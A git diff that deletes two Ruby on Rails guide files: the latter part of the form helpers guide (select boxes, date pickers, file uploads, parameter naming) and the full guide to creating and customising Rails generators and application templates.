-TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
-
-h4. Select Boxes for Dealing with Models
-
-In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
-
-<ruby>
-# controller:
-@person = Person.new(:city_id => 2)
-</ruby>
-
-<erb>
-# view:
-<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
-</erb>
-
-Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
-
-As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
-
-<erb>
-# select on a form builder
-<%= f.select(:city_id, ...) %>
-</erb>
-
-WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment.
-
-h4. Option Tags from a Collection of Arbitrary Objects
-
-Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
-
-<erb>
-<% cities_array = City.all.map { |city| [city.name, city.id] } %>
-<%= options_for_select(cities_array) %>
-</erb>
-
-This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
-
-<erb>
-<%= options_from_collection_for_select(City.all, :id, :name) %>
-</erb>
-
-As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
-
-<erb>
-<%= collection_select(:person, :city_id, City.all, :id, :name) %>
-</erb>
-
-To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
-
-NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
-
-h4. Time Zone and Country Select
-
-To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
-
-<erb>
-<%= time_zone_select(:person, :time_zone) %>
-</erb>
-
-There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
-
-Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":https://github.com/chrislerum/country_select. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
-
-h3. Using Date and Time Form Helpers
-
-The date and time helpers differ from all the other form helpers in two important respects:
-
-# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
-# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
-
-Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
-
-h4. Barebones Helpers
-
-The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
-
-<erb>
-<%= select_date Date.today, :prefix => :start_date %>
-</erb>
-
-outputs (with actual option values omitted for brevity)
-
-<html>
-<select id="start_date_year" name="start_date[year]"> ... </select>
-<select id="start_date_month" name="start_date[month]"> ... </select>
-<select id="start_date_day" name="start_date[day]"> ... </select>
-</html>
-
-The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
-
-<ruby>
-Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
-</ruby>
-
-The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
-
-h4(#select-model-object-helpers). Model Object Helpers
-
-+select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
-The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
-
-<erb>
-<%= date_select :person, :birth_date %>
-</erb>
-
-outputs (with actual option values omitted for brevity)
-
-<html>
-<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
-<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
-<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
-</html>
-
-which results in a +params+ hash like
-
-<ruby>
-{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
-</ruby>
-
-When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
-
-h4. Common Options
-
-Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
-
-As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
-
-NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-
-h4. Individual Components
-
-Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the  +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
-
-The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
-
-<erb>
-<%= select_year(2009) %>
-<%= select_year(Time.now) %>
-</erb>
-
-will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
-
-h3. Uploading Files
-
-A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding *MUST* be set to "multipart/form-data". If you use +form_for+, this is done automatically. If you use +form_tag+, you must set it yourself, as per the following example.
-
-The following two forms both upload a file.
-
-<erb>
-<%= form_tag({:action => :upload}, :multipart => true) do %>
-  <%= file_field_tag 'picture' %>
-<% end %>
-
-<%= form_for @person do |f| %>
-  <%= f.file_field :picture %>
-<% end %>
-</erb>
-
-NOTE: Since Rails 3.1, forms rendered using +form_for+ have their encoding set to <tt>multipart/form-data</tt> automatically once a +file_field+ is used inside the block. Previous versions required you to set this explicitly.
-
-Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
-
-h4. What Gets Uploaded
-
-The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
-
-<ruby>
-def upload
-  uploaded_io = params[:person][:picture]
-  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
-    file.write(uploaded_io.read)
-  end
-end
-</ruby>
-
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
-
-NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-
-h4. Dealing with Ajax
-
-Unlike other forms making an asynchronous file upload form is not as simple as providing +form_for+ with <tt>:remote => true</tt>. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
-
-h3. Customizing Form Builders
-
-As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
-
-<erb>
-<%= form_for @person do |f| %>
-  <%= text_field_with_label f, :first_name %>
-<% end %>
-</erb>
-
-can be replaced with
-
-<erb>
-<%= form_for @person, :builder => LabellingFormBuilder do |f| %>
-  <%= f.text_field :first_name %>
-<% end %>
-</erb>
-
-by defining a LabellingFormBuilder class similar to the following:
-
-<ruby>
-class LabellingFormBuilder < ActionView::Helpers::FormBuilder
-  def text_field(attribute, options={})
-    label(attribute) + super
-  end
-end
-</ruby>
-
-If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
-
-The form builder used also determines what happens when you do
-
-<erb>
-<%= render :partial => f %>
-</erb>
-
-If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
-
-h3. Understanding Parameter Naming Conventions
-
-As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
-action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
-
-Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
-
-TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example,
-
-<ruby>
-ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789"
-# => {"name"=>"fred", "phone"=>"0123456789"}
-</ruby>
-
-h4. Basic Structures
-
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
-
-<html>
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</html>
-
-the +params+ hash will contain
-
-<erb>
-{'person' => {'name' => 'Henry'}}
-</erb>
-
-and +params[:person][:name]+ will retrieve the submitted value in the controller.
-
-Hashes can be nested as many levels as required, for example
-
-<html>
-<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
-</html>
-
-will result in the +params+ hash being
-
-<ruby>
-{'person' => {'address' => {'city' => 'New York'}}}
-</ruby>
-
-Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
-
-<html>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-</html>
-
-This would result in +params[:person][:phone_number]+ being an array.
-
-h4. Combining Them
-
-We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
-
-<html>
-<input name="addresses[][line1]" type="text"/>
-<input name="addresses[][line2]" type="text"/>
-<input name="addresses[][city]" type="text"/>
-</html>
-
-This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
-
-There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
-
-WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
-
-h4. Using Form Helpers
-
-The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
-
-You might want to render a form with a set of edit fields for each of a person's addresses. For example:
-
-<erb>
-<%= form_for @person do |person_form| %>
-  <%= person_form.text_field :name %>
-  <% @person.addresses.each do |address| %>
-    <%= person_form.fields_for address, :index => address do |address_form|%>
-      <%= address_form.text_field :city %>
-    <% end %>
-  <% end %>
-<% end %>
-</erb>
-
-Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
-
-<html>
-<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
-  <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
-</form>
-</html>
-
-This will result in a +params+ hash that looks like
-
-<ruby>
-{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
-</ruby>
-
-Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling Rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
-
-To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
-
-<erb>
-<%= fields_for 'person[address][primary]', address, :index => address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-</erb>
-
-will create inputs like
-
-<html>
-<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
-</html>
-
-As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
-
-As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifying +:index => address+ so
-
-<erb>
-<%= fields_for 'person[address][primary][]', address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-</erb>
-
-produces exactly the same output as the previous example.
-
-h3. Forms to external resources
-
-If you need to post some data to an external resource it is still great to build your from using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options:
-
-<erb>
-<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %>
-  Form contents
-<% end %>
-</erb>
-
-Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option:
-
-<erb>
-<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %>
-  Form contents
-<% end %>
-</erb>
-
-The same technique is available for the +form_for+ too:
-
-<erb>
-<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f|
-  Form contents
-<% end %>
-</erb>
-
-Or if you don't want to render an +authenticity_token+ field:
-
-<erb>
-<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f|
-  Form contents
-<% end %>
-</erb>
-
-h3. Building Complex Forms
-
-Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
-
-* As of Rails 2.3, Rails includes "Nested Attributes":./2_3_release_notes.html#nested-attributes and "Nested Object Forms":./2_3_release_notes.html#nested-object-forms
-* Ryan Bates' series of Railscasts on "complex forms":http://railscasts.com/episodes/75
-* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
-* Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application
-* Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy
-* James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin
diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile
deleted file mode 100644
index 7a863ccbc7..0000000000
--- a/railties/guides/source/generators.textile
+++ /dev/null
@@ -1,621 +0,0 @@
-h2. Creating and Customizing Rails Generators & Templates
-
-Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
-
-In this guide you will:
-
-* Learn how to see which generators are available in your application
-* Create a generator using templates
-* Learn how Rails searches for generators before invoking them
-* Customize your scaffold by creating new generators
-* Customize your scaffold by changing generator templates
-* Learn how to use fallbacks to avoid overwriting a huge set of generators
-* Learn how to create an application template
-
-endprologue.
-
-NOTE: This guide is about generators in Rails 3, previous versions are not covered.
-
-h3. First Contact
-
-When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +rails generate+:
-
-<shell>
-$ rails new myapp
-$ cd myapp
-$ rails generate
-</shell>
-
-You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
-
-<shell>
-$ rails generate helper --help
-</shell>
-
-h3. Creating Your First Generator
-
-Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats/thor. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+.
-
-The first step is to create a file at +lib/generators/initializer_generator.rb+ with the following content:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::Base
-  def create_initializer_file
-    create_file "config/initializers/initializer.rb", "# Add initialization content here"
-  end
-end
-</ruby>
-
-NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
-
-Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
-
-To invoke our new generator, we just need to do:
-
-<shell>
-$ rails generate initializer
-</shell>
-
-Before we go on, let's see our brand new generator description:
-
-<shell>
-$ rails generate initializer --help
-</shell>
-
-Rails is usually able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::Base
-  desc "This generator creates an initializer file at config/initializers"
-  def create_initializer_file
-    create_file "config/initializers/initializer.rb", "# Add initialization content here"
-  end
-end
-</ruby>
-
-Now we can see the new description by invoking +--help+ on the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
-
-h3. Creating Generators with Generators
-
-Generators themselves have a generator:
-
-<shell>
-$ rails generate generator initializer
-      create  lib/generators/initializer
-      create  lib/generators/initializer/initializer_generator.rb
-      create  lib/generators/initializer/USAGE
-      create  lib/generators/initializer/templates
-</shell>
-
-This is the generator just created:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::NamedBase
-  source_root File.expand_path("../templates", __FILE__)
-end
-</ruby>
-
-First, notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable +name+.
-
-We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
-
-<shell>
-$ rails generate initializer --help
-Usage:
-  rails generate initializer NAME [options]
-</shell>
-
-We can also see that our new generator has a class method called +source_root+. This method points to where our generator templates will be placed, if any, and by default it points to the created directory +lib/generators/initializer/templates+.
-
-In order to understand what a generator template means, let's create the file +lib/generators/initializer/templates/initializer.rb+ with the following content:
-
-<ruby>
-# Add initialization content here
-</ruby>
-
-And now let's change the generator to copy this template when invoked:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::NamedBase
-  source_root File.expand_path("../templates", __FILE__)
-
-  def copy_initializer_file
-    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
-  end
-end
-</ruby>
-
-And let's execute our generator:
-
-<shell>
-$ rails generate initializer core_extensions
-</shell>
-
-We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+.
-
-The methods that are available for generators are covered in the "final section":#generator-methods of this guide.
-
-h3. Generators Lookup
-
-When you run +rails generate initializer core_extensions+ Rails requires these files in turn until one is found:
-
-<shell>
-rails/generators/initializer/initializer_generator.rb
-generators/initializer/initializer_generator.rb
-rails/generators/initializer_generator.rb
-generators/initializer_generator.rb
-</shell>
-
-If none is found you get an error message.
-
-INFO: The examples above put files under the application's +lib+ because said directory belongs to +$LOAD_PATH+.
-
-h3. Customizing Your Workflow
-
-Rails own generators are flexible enough to let you customize scaffolding. They can be configured in +config/application.rb+, these are some defaults:
-
-<ruby>
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, :fixture => true
-end
-</ruby>
-
-Before we customize our workflow, let's first see what our scaffold looks like:
-
-<shell>
-$ rails generate scaffold User name:string
-      invoke  active_record
-      create    db/migrate/20091120125558_create_users.rb
-      create    app/models/user.rb
-      invoke    test_unit
-      create      test/unit/user_test.rb
-      create      test/fixtures/users.yml
-       route  resources :users
-      invoke  scaffold_controller
-      create    app/controllers/users_controller.rb
-      invoke    erb
-      create      app/views/users
-      create      app/views/users/index.html.erb
-      create      app/views/users/edit.html.erb
-      create      app/views/users/show.html.erb
-      create      app/views/users/new.html.erb
-      create      app/views/users/_form.html.erb
-      invoke    test_unit
-      create      test/functional/users_controller_test.rb
-      invoke    helper
-      create      app/helpers/users_helper.rb
-      invoke      test_unit
-      create        test/unit/helpers/users_helper_test.rb
-      invoke  stylesheets
-      create    app/assets/stylesheets/scaffold.css
-</shell>
-
-Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
-
-Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
-
-<ruby>
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, :fixture => false
-  g.stylesheets     false
-end
-</ruby>
-
-If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
-
-To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
-
-<shell>
-$ rails generate generator rails/my_helper
-</shell>
-
-After that, we can delete both the +templates+ directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following:
-
-<ruby>
-class Rails::MyHelperGenerator < Rails::Generators::NamedBase
-  def create_helper_file
-    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
-module #{class_name}Helper
-  attr_reader :#{plural_name}, :#{plural_name.singularize}
-end
-    FILE
-  end
-end
-</ruby>
-
-We can try out our new generator by creating a helper for users:
-
-<shell>
-$ rails generate my_helper products
-</shell>
-
-And it will generate the following helper file in +app/helpers+:
-
-<ruby>
-module ProductsHelper
-  attr_reader :products, :product
-end
-</ruby>
-
-Which is what we expected. We can now tell scaffold to use our new helper generator by editing +config/application.rb+ once again:
-
-<ruby>
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, :fixture => false
-  g.stylesheets     false
-  g.helper          :my_helper
-end
-</ruby>
-
-and see it in action when invoking the generator:
-
-<shell>
-$ rails generate scaffold Post body:text
-      [...]
-      invoke    my_helper
-      create      app/helpers/posts_helper.rb
-</shell>
-
-We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
-
-Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
-
-To do that, we can change the generator this way:
-
-<ruby>
-class Rails::MyHelperGenerator < Rails::Generators::NamedBase
-  def create_helper_file
-    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
-module #{class_name}Helper
-  attr_reader :#{plural_name}, :#{plural_name.singularize}
-end
-    FILE
-  end
-
-  hook_for :test_framework
-end
-</ruby>
-
-Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both +Rails::TestUnitGenerator+ and +TestUnit::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails generator. To do that, we just need to add:
-
-<ruby>
-# Search for :helper instead of :my_helper
-hook_for :test_framework, :as => :helper
-</ruby>
-
-And now you can re-run scaffold for another resource and see it generating tests as well!
-
-h3. Customizing Your Workflow by Changing Generators Templates
-
-In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case +Rails::Generators::HelperGenerator+.
-
-In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is +lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simply making a template copy inside +lib/templates/rails/helper+ with the name +helper.rb+. So let's create that file with the following content:
-
-<erb>
-module <%= class_name %>Helper
-  attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
-end
-</erb>
-
-and revert the last change in +config/application.rb+:
-
-<ruby>
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :test_unit, :fixture => false
-  g.stylesheets     false
-end
-</ruby>
-
-If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +lib/templates/erb/scaffold+.
-
-h3. Adding Generators Fallbacks
-
-One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like "shoulda":https://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a +TestUnit+ generator if none was found under the +Shoulda+ namespace.
-
-We can easily simulate this behavior by changing our +config/application.rb+ once again:
-
-<ruby>
-config.generators do |g|
-  g.orm             :active_record
-  g.template_engine :erb
-  g.test_framework  :shoulda, :fixture => false
-  g.stylesheets     false
-
-  # Add a fallback!
-  g.fallbacks[:shoulda] = :test_unit
-end
-</ruby>
-
-Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
-
-<shell>
-$ rails generate scaffold Comment body:text
-      invoke  active_record
-      create    db/migrate/20091120151323_create_comments.rb
-      create    app/models/comment.rb
-      invoke    shoulda
-      create      test/unit/comment_test.rb
-      create      test/fixtures/comments.yml
-       route    resources :comments
-      invoke  scaffold_controller
-      create    app/controllers/comments_controller.rb
-      invoke    erb
-      create      app/views/comments
-      create      app/views/comments/index.html.erb
-      create      app/views/comments/edit.html.erb
-      create      app/views/comments/show.html.erb
-      create      app/views/comments/new.html.erb
-      create      app/views/comments/_form.html.erb
-      create      app/views/layouts/comments.html.erb
-      invoke    shoulda
-      create      test/functional/comments_controller_test.rb
-      invoke    my_helper
-      create      app/helpers/comments_helper.rb
-      invoke      shoulda
-      create        test/unit/helpers/comments_helper_test.rb
-</shell>
-
-Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
-
-h3. Application Templates
-
-Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template".
-
-<ruby>
-gem("rspec-rails", :group => "test")
-gem("cucumber-rails", :group => "test")
-
-if yes?("Would you like to install Devise?")
-  gem("devise")
-  generate("devise:install")
-  model_name = ask("What would you like the user model to be called? [user]")
-  model_name = "user" if model_name.blank?
-  generate("devise", model_name)
-end
-</ruby>
-
